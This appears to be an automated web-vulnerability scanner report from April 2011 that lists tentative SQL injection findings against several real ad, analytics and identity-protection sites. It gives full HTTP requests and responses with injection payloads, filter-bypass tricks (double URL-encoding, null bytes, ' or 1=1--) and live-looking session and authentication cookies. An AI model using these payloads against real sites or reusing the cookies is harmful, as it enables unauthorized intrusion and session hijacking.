XSS, SQL Injection, HTTP Header Injection, CWE-79, CWE-89, cWE-113, DORK, GHDB Report for April 24, 2011

The sz parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the sz parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Request 1

GET /adj/N4610.Dogtime/B5083466.4;sz=160x600;pc=[TPAS_ID];click=http://yads.zedo.com/ads2/c?a=903902%3Bn=809%3Bx=1813%3Bc=809001050,809001050%3Bg=172%3Bi=21%3B1=2%3B2=1%3Bs=376%3Bg=172%3Bm=34%3Bw=51%3Bi=21%3Bu=9lO0TcGt89btIYJEUz5hJCkQ~042411%3Bo%3D20%3By%3D64%3Bv%3D1%3Bt%3Dr%3Bk%3D;ord=0.08206358586677381?%2527 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: ad.doubleclick.net
Cookie: id=c51bf923600009b||t=1303663573|et=730|cs=jppc_u-3

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 24 Apr 2011 16:48:48 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 53375

document.write('');

if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayManagers =
...[SNIP]...
tocol = "http:";
return siteProtocol;
};

document.write('\n');

function IFrameBuster_59_07() {
};
IFrameBuster_59_07.prototype = new RichMediaCore_59_07;
IFrameBuster_59_07.prototype.displayImageOnFailureBreakout = function(variableName, target, hRef, imgSrc, width, height, altText, creative) {
var expandingUtil = new DARTExpandingUtil_59_07();
expandingUtil.displayImage(variableName, target, hR
...[SNIP]...

Request 2

GET /adj/N4610.Dogtime/B5083466.4;sz=160x600;pc=[TPAS_ID];click=http://yads.zedo.com/ads2/c?a=903902%3Bn=809%3Bx=1813%3Bc=809001050,809001050%3Bg=172%3Bi=21%3B1=2%3B2=1%3Bs=376%3Bg=172%3Bm=34%3Bw=51%3Bi=21%3Bu=9lO0TcGt89btIYJEUz5hJCkQ~042411%3Bo%3D20%3By%3D64%3Bv%3D1%3Bt%3Dr%3Bk%3D;ord=0.08206358586677381?%2527%2527 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: ad.doubleclick.net
Cookie: id=c51bf923600009b||t=1303663573|et=730|cs=jppc_u-3

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 24 Apr 2011 16:48:49 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6520

document.write('\n\n<script src=\"http://s0.2mdn.net/8793
...[SNIP]...

1.2. http://analytic.hotelclub.com/b/ss/flairviewhcprod/1/H.17/s84063693960197 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://analytic.hotelclub.com
Path:	/b/ss/flairviewhcprod/1/H.17/s84063693960197

Issue detail

The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 3, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Request 1

GET /b/ss/flairviewhcprod%00'/1/H.17/s84063693960197?AQB=1&pccr=true&vidn=26DA09858516231B-400001A4A00530FD&&ndh=1&t=24/3/2011%207%3A9%3A50%200%20300&ce=ISO-8859-1&ns=flairviewtravel&pageName=Homepage&g=http%3A//www.hotelclub.com/&cc=USD&ch=Home%20page&server=www.hotelclub.com&v0=0&events=event7%2Cevent19%2Cevent4&v2=EN&c3=www.hotelclub.com&c4=EN&v5=www.hotelclub.com&v12=Non-member&v21=www.hotelclub.com&v29=USD&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=980&bh=907&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: analytic.hotelclub.com
Proxy-Connection: keep-alive
Referer: http://www.hotelclub.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WT_FPC=id=173.193.214.243-2165807168.30147192:lv=1303643390479:ss=1303643390479; s_cc=true; s_lp=yes; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DA09858516231B-400001A4A00530FD[CE]

Response 1

HTTP/1.1 404 Not Found
Date: Sun, 24 Apr 2011 12:33:17 GMT
Server: Omniture DC/2.0.0
Content-Length: 420
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /b/ss/flairviewhcprod was not found on this server.</
...[SNIP]...
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
...[SNIP]...

Request 2

GET /b/ss/flairviewhcprod%00''/1/H.17/s84063693960197?AQB=1&pccr=true&vidn=26DA09858516231B-400001A4A00530FD&&ndh=1&t=24/3/2011%207%3A9%3A50%200%20300&ce=ISO-8859-1&ns=flairviewtravel&pageName=Homepage&g=http%3A//www.hotelclub.com/&cc=USD&ch=Home%20page&server=www.hotelclub.com&v0=0&events=event7%2Cevent19%2Cevent4&v2=EN&c3=www.hotelclub.com&c4=EN&v5=www.hotelclub.com&v12=Non-member&v21=www.hotelclub.com&v29=USD&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=980&bh=907&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: analytic.hotelclub.com
Proxy-Connection: keep-alive
Referer: http://www.hotelclub.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WT_FPC=id=173.193.214.243-2165807168.30147192:lv=1303643390479:ss=1303643390479; s_cc=true; s_lp=yes; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DA09858516231B-400001A4A00530FD[CE]

Response 2

HTTP/1.1 404 Not Found
Date: Sun, 24 Apr 2011 12:33:17 GMT
Server: Omniture DC/2.0.0
xserver: www432
Content-Length: 0
Content-Type: text/html

1.3. http://googleads.g.doubleclick.net/pagead/ads [client parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The client parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the client parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Request 1

GET /pagead/ads?client=ca-pub-6888065668292638%00'&output=html&h=600&slotname=2465090616&w=160&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_a.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658388940&shv=r20110420&jsv=r20110415&saldr=1&correlator=1303658388942&frm=1&adk=2614322350&ga_vid=218077159.1303658389&ga_sid=1303658389&ga_hid=1485847521&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&eid=33895130&fu=4&ifi=1&dtd=6 HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://pub.retailer-amazon.net/banner_120_600_b.php?search={$keyword}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response 1

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sun, 24 Apr 2011 15:21:47 GMT
Server: cafe
Cache-Control: private
X-XSS-Protection: 1; mode=block
Content-Length: 18375

<!doctype html><html><head><style>a{color:#0000ff}body,table,div,ul,li{margin:0;padding:0}</style><script>(function(){window.ss=function(d,e){window.status=d;var c=document.getElementById(e);if(c){var
...[SNIP]...
<span class=adbs id=baw0>See How Cadillac CTS Stacks Up to the E350 Sedan. Compare Now.</span>
...[SNIP]...

Request 2

GET /pagead/ads?client=ca-pub-6888065668292638%00''&output=html&h=600&slotname=2465090616&w=160&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_a.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658388940&shv=r20110420&jsv=r20110415&saldr=1&correlator=1303658388942&frm=1&adk=2614322350&ga_vid=218077159.1303658389&ga_sid=1303658389&ga_hid=1485847521&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&eid=33895130&fu=4&ifi=1&dtd=6 HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://pub.retailer-amazon.net/banner_120_600_b.php?search={$keyword}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response 2

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sun, 24 Apr 2011 15:21:48 GMT
Server: cafe
Cache-Control: private
X-XSS-Protection: 1; mode=block
Content-Length: 1449

<html><head></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><IFRAME SRC="http://ad.doubleclick.net/adi/N6685.276639.GOOGLEADWORDS/B5169765.3;sz=160x600;site=google_explorer;
...[SNIP]...

1.4. https://secure.identityguard.com/webapp/wcs/stores/servlet/EnrollmentStep1 [WC_GENERIC_ACTIVITYDATA cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	https://secure.identityguard.com
Path:	/webapp/wcs/stores/servlet/EnrollmentStep1

Issue detail

The WC_GENERIC_ACTIVITYDATA cookie appears to be vulnerable to SQL injection attacks. The payloads 17006380'%20or%201%3d1--%20 and 17006380'%20or%201%3d2--%20 were each submitted in the WC_GENERIC_ACTIVITYDATA cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /webapp/wcs/stores/servlet/EnrollmentStep1 HTTP/1.1
Host: secure.identityguard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000NAoPInZyy4gzsvmSvaSl9un:14glhsrp2; WC_AUTHENTICATION_-1002=%2d1002%2cXDUBvgNLbZN0%2fMz%2biC6eCYA8Aqc%3d; WC_USERACTIVITY_100000002776876=DEL; __utmz=242046173.1303614598.1.1.utmcsr=Next|utmccn=(not%20set)|utmcmd=affiliates; WC_SESSION_ESTABLISHED=true; CoreID6=87049420402113036145977&ci=90226925; cmTPSet=Y; WC_GENERIC_ACTIVITYDATA=[17525396%3atrue%3afalse%3a0%3asaFHO%2fgFArjbcjFvy3NRAb0mkB4%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]17006380'%20or%201%3d1--%20; __utma=242046173.2037034150.1303614598.1303614598.1303614598.1; __utmc=242046173; REFERRER=http://www.identityguard.com/ipages/le4/letp30daysfree1.html?mktp=Next&utm_medium=affiliates&hid=205557649&campid=13&c1=id4+106163471CD1&c2=CD1&cenhp1=1; __utmb=242046173.7.10.1303614598; WC_AUTHENTICATION_100000002776876=DEL; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2c0%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cVz%2fAitjOs4I2cdO%2bxoqprV%2blaSQkpnVQwa2wezkIGTw80PvmDFUxMbp8A2zNavPmZ2DY1XZU27aS%0aoHvsS72xgR%2bERpXFUKcYCLnTfUBbH7JTkS4fgthPFj95qXChOpWj9DsXavyhZFM%3d; 90226925_clogin=l=1303615928&v=33&e=1303616828151;

Response 1

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:55:56 GMT
Server: Apache/2.2.0 (Fedora)
Pragma: no-cache
Cache-Control: no-store, no-cache
Expires: now
Set-Cookie: JSESSIONID=0000layarZbbPM9S9YqhLP0MS5P:14glhsrp2; Path=/
Set-Cookie: WC_AUTHENTICATION_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_GENERIC_ACTIVITYDATA=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_AUTHENTICATION_100000002779552=100000002779552%2cZaqeAPeUiJPDXrfOc%2btJk%2bwsOBA%3d; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_100000002779552=100000002779552%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnUH1mjvuHva%2fzzlX%2bEuJtAn3DpWKN4df6cLICQD2R8plw%2b40R5bf3lwaxFNQXiRFInsQBUaNGByC%0aGE23KSdo1zZQc%2fdYc86o%2fhfLeWmI2b3QEIv7bb522VpFlPbMgOpGTin5qndfbg9zDXy6ryUvZkjP%0a4wU1D87s; Path=/
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Language: en-US
Content-Length: 1903

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><head>

   <title>Error Has Occurred</title>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
   <link rel="Shortcut Icon" href="/wcsstore/IdentityGuardStorefrontAssetStore/images/favicon.ico">
   <link href="/wcsstore/IdentityGuardStorefrontAssetStore/css/checkout.css" rel="stylesheet" type="text/css">
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/jquery_002.js" type="text/javascript"></script>
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/jquery.js" type="text/javascript"></script>
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/common.js" type="text/javascript"></script>
</head><div FirebugVersion="1.3.3" style="display: none;" id="_firebugConsole"></div>
<body class="checkout">

<div id="header_wrapper">

   <div id="header">

   </div>

</div><!--/#header_wr
...[SNIP]...

Request 2

GET /webapp/wcs/stores/servlet/EnrollmentStep1 HTTP/1.1
Host: secure.identityguard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000NAoPInZyy4gzsvmSvaSl9un:14glhsrp2; WC_AUTHENTICATION_-1002=%2d1002%2cXDUBvgNLbZN0%2fMz%2biC6eCYA8Aqc%3d; WC_USERACTIVITY_100000002776876=DEL; __utmz=242046173.1303614598.1.1.utmcsr=Next|utmccn=(not%20set)|utmcmd=affiliates; WC_SESSION_ESTABLISHED=true; CoreID6=87049420402113036145977&ci=90226925; cmTPSet=Y; WC_GENERIC_ACTIVITYDATA=[17525396%3atrue%3afalse%3a0%3asaFHO%2fgFArjbcjFvy3NRAb0mkB4%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]17006380'%20or%201%3d2--%20; __utma=242046173.2037034150.1303614598.1303614598.1303614598.1; __utmc=242046173; REFERRER=http://www.identityguard.com/ipages/le4/letp30daysfree1.html?mktp=Next&utm_medium=affiliates&hid=205557649&campid=13&c1=id4+106163471CD1&c2=CD1&cenhp1=1; __utmb=242046173.7.10.1303614598; WC_AUTHENTICATION_100000002776876=DEL; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2c0%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cVz%2fAitjOs4I2cdO%2bxoqprV%2blaSQkpnVQwa2wezkIGTw80PvmDFUxMbp8A2zNavPmZ2DY1XZU27aS%0aoHvsS72xgR%2bERpXFUKcYCLnTfUBbH7JTkS4fgthPFj95qXChOpWj9DsXavyhZFM%3d; 90226925_clogin=l=1303615928&v=33&e=1303616828151;

Response 2

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:55:56 GMT
Server: Apache/2.2.0 (Fedora)
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=0000lwFSUkdbtoX55PsdKTV3WFH:14glhsrp2; Path=/
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 1895

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml" lang="en-US"><head>

   <title>Error Has Occurred</title>
   <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
   <link rel="Shortcut Icon" href="/wcsstore/IdentityGuardStorefrontAssetStore/images/favicon.ico">
   <link href="/wcsstore/IdentityGuardStorefrontAssetStore/css/checkout.css" rel="stylesheet" type="text/css">
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/jquery_002.js" type="text/javascript"></script>
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/jquery.js" type="text/javascript"></script>
   <script src="/wcsstore/IdentityGuardStorefrontAssetStore/javascript/common.js" type="text/javascript"></script>
</head><div FirebugVersion="1.3.3" style="display: none;" id="_firebugConsole"></div>
<body class="checkout">

<div id="header_wrapper">

   <div id="header">

   </div>

</div>

<div id="container_wrapper">
   <div id="container">
       <div id="content">

           <div id="error_page">
               <h2 class="step">Error</h2>
               <p><strong>We're sorry, an error has occured.</strong> Please try again later or call Customer Service toll-free at 1-800-452-2541.</p>
               <p class="continue"><a href="http://www.identityguard.com/"><img src="/wcsstore/IdentityGuardStorefrontAssetStore/images/continue.gif" alt="Continue"></a></p>
           </div>

       </div>

       <div id="sidebar">
            
       </div>

       <div class="clear"> </div>

   </div>
</div>

<div id="footer_wra
...[SNIP]...

1.5. https://secure.identityguard.com/webapp/wcs/stores/servlet/EnrollmentStep1 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	https://secure.identityguard.com
Path:	/webapp/wcs/stores/servlet/EnrollmentStep1

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /webapp/wcs/stores/servlet/EnrollmentStep1?1'=1 HTTP/1.1
Host: secure.identityguard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000NAoPInZyy4gzsvmSvaSl9un:14glhsrp2; WC_AUTHENTICATION_-1002=%2d1002%2cXDUBvgNLbZN0%2fMz%2biC6eCYA8Aqc%3d; WC_USERACTIVITY_100000002776876=DEL; __utmz=242046173.1303614598.1.1.utmcsr=Next|utmccn=(not%20set)|utmcmd=affiliates; WC_SESSION_ESTABLISHED=true; CoreID6=87049420402113036145977&ci=90226925; cmTPSet=Y; WC_GENERIC_ACTIVITYDATA=[17525396%3atrue%3afalse%3a0%3asaFHO%2fgFArjbcjFvy3NRAb0mkB4%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=242046173.2037034150.1303614598.1303614598.1303614598.1; __utmc=242046173; REFERRER=http://www.identityguard.com/ipages/le4/letp30daysfree1.html?mktp=Next&utm_medium=affiliates&hid=205557649&campid=13&c1=id4+106163471CD1&c2=CD1&cenhp1=1; __utmb=242046173.7.10.1303614598; WC_AUTHENTICATION_100000002776876=DEL; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2c0%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cVz%2fAitjOs4I2cdO%2bxoqprV%2blaSQkpnVQwa2wezkIGTw80PvmDFUxMbp8A2zNavPmZ2DY1XZU27aS%0aoHvsS72xgR%2bERpXFUKcYCLnTfUBbH7JTkS4fgthPFj95qXChOpWj9DsXavyhZFM%3d; 90226925_clogin=l=1303615928&v=33&e=1303616828151;

Response 1 (redirected)

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:56:47 GMT
Server: Apache/2.2.0 (Fedora)
Pragma: no-cache
Cache-Control: no-store, no-cache
Expires: now
Set-Cookie: JSESSIONID=0000o6UDhr0G0O4g9uSCeJDbGWy:14glhsrp2; Path=/
Set-Cookie: WC_AUTHENTICATION_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_GENERIC_ACTIVITYDATA=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
Set-Cookie: WC_AUTHENTICATION_100000002779945=100000002779945%2cYCB0ERVR%2bvSSZwKvSloTAh6LyTs%3d; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_100000002779945=100000002779945%2c10051%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnUH1mjvuHvblXhE%2f2003J1rpwFczydtwI0qdrGTp11QfwrramJ66OccNkJ8Aa1XeROufjiXhOqKA%0aKccsxqA72eCa8qQZnFUkuclUUsd3etNDGeXyYzzNgYzf0Lzjjx3228eQEIxHsoZF9XZrWkPBVKYl%0aXkve%2fpny; Path=/
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Language: en-US
Content-Length: 1903

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml" lan
...[SNIP]...
<title>Error Has Occurred</title>
...[SNIP]...

Request 2

GET /webapp/wcs/stores/servlet/EnrollmentStep1?1''=1 HTTP/1.1
Host: secure.identityguard.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=0000NAoPInZyy4gzsvmSvaSl9un:14glhsrp2; WC_AUTHENTICATION_-1002=%2d1002%2cXDUBvgNLbZN0%2fMz%2biC6eCYA8Aqc%3d; WC_USERACTIVITY_100000002776876=DEL; __utmz=242046173.1303614598.1.1.utmcsr=Next|utmccn=(not%20set)|utmcmd=affiliates; WC_SESSION_ESTABLISHED=true; CoreID6=87049420402113036145977&ci=90226925; cmTPSet=Y; WC_GENERIC_ACTIVITYDATA=[17525396%3atrue%3afalse%3a0%3asaFHO%2fgFArjbcjFvy3NRAb0mkB4%3d][com.ibm.commerce.context.base.BaseContext|10051%26%2d1002%26%2d1002%26%2d1][com.ibm.commerce.catalog.businesscontext.CatalogContext|null%26null%26false%26false%26false][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26%2d2000%26null%26null%26null][com.ibm.commerce.context.experiment.ExperimentContext|null][CTXSETNAME|Store][com.ibm.commerce.context.audit.AuditContext|null]; __utma=242046173.2037034150.1303614598.1303614598.1303614598.1; __utmc=242046173; REFERRER=http://www.identityguard.com/ipages/le4/letp30daysfree1.html?mktp=Next&utm_medium=affiliates&hid=205557649&campid=13&c1=id4+106163471CD1&c2=CD1&cenhp1=1; __utmb=242046173.7.10.1303614598; WC_AUTHENTICATION_100000002776876=DEL; WC_ACTIVEPOINTER=%2d1%2c10051; WC_USERACTIVITY_-1002=%2d1002%2c10051%2c0%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cVz%2fAitjOs4I2cdO%2bxoqprV%2blaSQkpnVQwa2wezkIGTw80PvmDFUxMbp8A2zNavPmZ2DY1XZU27aS%0aoHvsS72xgR%2bERpXFUKcYCLnTfUBbH7JTkS4fgthPFj95qXChOpWj9DsXavyhZFM%3d; 90226925_clogin=l=1303615928&v=33&e=1303616828151;

Response 2

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:56:47 GMT
Server: Apache/2.2.0 (Fedora)
Pragma: no-cache
Cache-Control: no-store, no-cache
Expires: now
Set-Cookie: JSESSIONID=0000vmnv9o8f1hYbPDSEsnh274g:14glhsrp2; Path=/
Set-Cookie: WC_AUTHENTICATION_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/; Secure
Set-Cookie: WC_USERACTIVITY_-1002=DEL; Expires=Thu, 01 Dec 1994 16:00:00 GMT; Path=/
